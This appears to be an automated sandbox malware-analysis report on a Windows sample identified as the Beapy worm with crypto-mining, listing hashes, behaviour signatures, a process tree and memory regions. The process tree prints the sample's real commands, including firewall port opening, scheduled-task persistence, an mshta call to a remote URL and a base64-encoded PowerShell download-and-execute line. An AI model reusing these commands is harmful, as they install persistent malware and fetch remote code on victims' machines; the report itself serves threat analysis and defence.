Resubmissions

04-09-2021 07:37

210904-jf39zshben 10

04-09-2021 07:35

210904-jeq82aeab3 10

Analysis

  • max time kernel
    1757s
  • max time network
    1759s
  • platform
    windows7_x64
  • resource
    win7-fr
  • submitted
    04-09-2021 07:35

General

  • Target

    svchost.bin.exe

  • Size

    6.6MB

  • MD5

    2787bb2d1ab223f8ac2692f3a8fd85fc

  • SHA1

    dc34ee4e46ddea333cdc90e4aad7589cb8ee1ea0

  • SHA256

    952e3e059251cd41e3c67006c5aa4b75fe3e6b0f18d96554b2d60d4ccfb78cb4

  • SHA512

    d79bd7599ccb09fa72b939a506d04e28cb958e59c3987ab4d375e76337d5b1e33369d59397338aaeaf938c14ec9d93b20501d5224d151631c69c874d0657e9f3

Malware Config

Signatures

  • Beapy

    Beapy is a python worm with crypto mining capabilities.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 6 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Loads dropped DLL 64 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Detects Pyinstaller 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Gathers network information 2 TTPs 3 IoCs

    Uses commandline utility to view network configuration.

  • Modifies data under HKEY_USERS 35 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\svchost.bin.exe
    "C:\Users\Admin\AppData\Local\Temp\svchost.bin.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2016
    • C:\Users\Admin\AppData\Local\Temp\svchost.bin.exe
      "C:\Users\Admin\AppData\Local\Temp\svchost.bin.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1576
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c wmic ntdomain get domainname
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1656
        • C:\Windows\SysWOW64\Wbem\WMIC.exe
          wmic ntdomain get domainname
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:972
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c net localgroup administrators
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1688
        • C:\Windows\SysWOW64\net.exe
          net localgroup administrators
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1308
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 localgroup administrators
            5⤵
              PID:1560
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c net group "domain admins" /domain
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1380
          • C:\Windows\SysWOW64\net.exe
            net group "domain admins" /domain
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1624
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 group "domain admins" /domain
              5⤵
                PID:1828
          • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe -exec bypass "import-module C:\Users\Admin\AppData\Local\Temp\m2.ps1"
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1620
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ipconfig /all
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:328
            • C:\Windows\SysWOW64\ipconfig.exe
              ipconfig /all
              4⤵
              • Gathers network information
              PID:1820
          • C:\Windows\SysWOW64\ipconfig.exe
            ipconfig /all
            3⤵
            • Gathers network information
            PID:528
          • C:\Windows\SysWOW64\netstat.exe
            netstat -na
            3⤵
            • Gathers network information
            • Suspicious use of AdjustPrivilegeToken
            PID:848
      • C:\Windows\ZHUcKkVq.exe
        C:\Windows\ZHUcKkVq.exe
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:2292
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c call "c:\windows\temp\tmp.vbs"
          2⤵
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2356
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\windows\temp\tmp.vbs"
            3⤵
            • Modifies data under HKEY_USERS
            PID:2308
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c echo QSjbOyJf >> c:\windows\temp\svchost.exe&echo "*" >c:\windows\temp\ipc.txt&netsh firewall add portopening tcp 65533 DNSd&netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53&copy /y c:\windows\temp\svchost.exe c:\windows\KnVAvdTx.exe&move /y c:\windows\temp\dig.exe c:\windows\TlWXsSY.exe&if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn KnVAvdTx /tr "C:\Windows\KnVAvdTx.exe" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\enkjrNu" /tr "c:\windows\TlWXsSY.exe" /F) else (start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?pKJUCCLUP"&schtasks /run /TN Autocheck&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autostart /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autostart /tr "c:\windows\TlWXsSY.exe"&schtasks /run /TN Autostart&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN escan /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN escan /tr "c:\windows\KnVAvdTx.exe"&schtasks /run /TN escan)
              4⤵
              • Drops file in Windows directory
              PID:2456
              • C:\Windows\SysWOW64\netsh.exe
                netsh firewall add portopening tcp 65533 DNSd
                5⤵
                • Modifies data under HKEY_USERS
                PID:2672
              • C:\Windows\SysWOW64\netsh.exe
                netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53
                5⤵
                • Modifies data under HKEY_USERS
                PID:1720
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F
                5⤵
                • Creates scheduled task(s)
                PID:320
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn KnVAvdTx /tr "C:\Windows\KnVAvdTx.exe" /F
                5⤵
                • Creates scheduled task(s)
                PID:1268
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\enkjrNu" /tr "c:\windows\TlWXsSY.exe" /F
                5⤵
                • Creates scheduled task(s)
                PID:328
      • C:\Windows\pnFJljJU.exe
        C:\Windows\pnFJljJU.exe
        1⤵
          PID:1112
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {57BD7973-8D71-425C-B4A4-3021A67CAC3A} S-1-5-18:NT AUTHORITY\System:Service:
          1⤵
            PID:2560
            • C:\Windows\KnVAvdTx.exe
              C:\Windows\KnVAvdTx.exe
              2⤵
              • Executes dropped EXE
              PID:2472
              • C:\Windows\KnVAvdTx.exe
                C:\Windows\KnVAvdTx.exe
                3⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:2404
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=
              2⤵
              • Blocklisted process makes network request
              • Drops file in System32 directory
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2388
            • C:\Windows\KnVAvdTx.exe
              C:\Windows\KnVAvdTx.exe
              2⤵
              • Executes dropped EXE
              PID:2360
              • C:\Windows\KnVAvdTx.exe
                C:\Windows\KnVAvdTx.exe
                3⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:2100
            • C:\Windows\KnVAvdTx.exe
              C:\Windows\KnVAvdTx.exe
              2⤵
              • Executes dropped EXE
              PID:2548
              • C:\Windows\KnVAvdTx.exe
                C:\Windows\KnVAvdTx.exe
                3⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:2136

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • memory/1576-87-0x00000000001C0000-0x00000000001D0000-memory.dmp

            Filesize

            64KB

          • memory/1576-57-0x00000000752D1000-0x00000000752D3000-memory.dmp

            Filesize

            8KB

          • memory/1576-96-0x0000000000340000-0x0000000000350000-memory.dmp

            Filesize

            64KB

          • memory/1576-99-0x0000000000350000-0x0000000000365000-memory.dmp

            Filesize

            84KB

          • memory/1576-79-0x0000000000500000-0x000000000057C000-memory.dmp

            Filesize

            496KB

          • memory/1576-70-0x00000000023E0000-0x0000000002495000-memory.dmp

            Filesize

            724KB

          • memory/1620-111-0x00000000023D0000-0x00000000023D2000-memory.dmp

            Filesize

            8KB

          • memory/1620-113-0x00000000023D4000-0x00000000023D7000-memory.dmp

            Filesize

            12KB

          • memory/1620-109-0x000007FEFBA91000-0x000007FEFBA93000-memory.dmp

            Filesize

            8KB

          • memory/1620-110-0x000007FEF27C0000-0x000007FEF331D000-memory.dmp

            Filesize

            11.4MB

          • memory/1620-112-0x00000000023D2000-0x00000000023D4000-memory.dmp

            Filesize

            8KB

          • memory/1620-115-0x00000000023DB000-0x00000000023FA000-memory.dmp

            Filesize

            124KB

          • memory/2100-178-0x00000000010A0000-0x00000000010B0000-memory.dmp

            Filesize

            64KB

          • memory/2100-175-0x0000000000F40000-0x0000000000FF5000-memory.dmp

            Filesize

            724KB

          • memory/2100-176-0x0000000001000000-0x000000000107C000-memory.dmp

            Filesize

            496KB

          • memory/2100-177-0x0000000000360000-0x0000000000370000-memory.dmp

            Filesize

            64KB

          • memory/2136-187-0x0000000000770000-0x0000000000785000-memory.dmp

            Filesize

            84KB

          • memory/2136-184-0x00000000002A0000-0x000000000031C000-memory.dmp

            Filesize

            496KB

          • memory/2136-186-0x0000000000760000-0x0000000000770000-memory.dmp

            Filesize

            64KB

          • memory/2136-183-0x0000000001070000-0x0000000001125000-memory.dmp

            Filesize

            724KB

          • memory/2136-185-0x00000000001E0000-0x00000000001F0000-memory.dmp

            Filesize

            64KB

          • memory/2388-168-0x00000000010E0000-0x00000000010E2000-memory.dmp

            Filesize

            8KB

          • memory/2388-170-0x00000000010E4000-0x00000000010E7000-memory.dmp

            Filesize

            12KB

          • memory/2388-171-0x00000000010EB000-0x000000000110A000-memory.dmp

            Filesize

            124KB

          • memory/2388-169-0x00000000010E2000-0x00000000010E4000-memory.dmp

            Filesize

            8KB

          • memory/2388-167-0x000007FEF29C0000-0x000007FEF351D000-memory.dmp

            Filesize

            11.4MB

          • memory/2404-163-0x00000000002A0000-0x00000000002B0000-memory.dmp

            Filesize

            64KB

          • memory/2404-164-0x00000000002B0000-0x00000000002C5000-memory.dmp

            Filesize

            84KB

          • memory/2404-162-0x0000000000160000-0x0000000000170000-memory.dmp

            Filesize

            64KB

          • memory/2404-161-0x00000000010B0000-0x000000000112C000-memory.dmp

            Filesize

            496KB

          • memory/2404-155-0x0000000000540000-0x00000000005F5000-memory.dmp

            Filesize

            724KB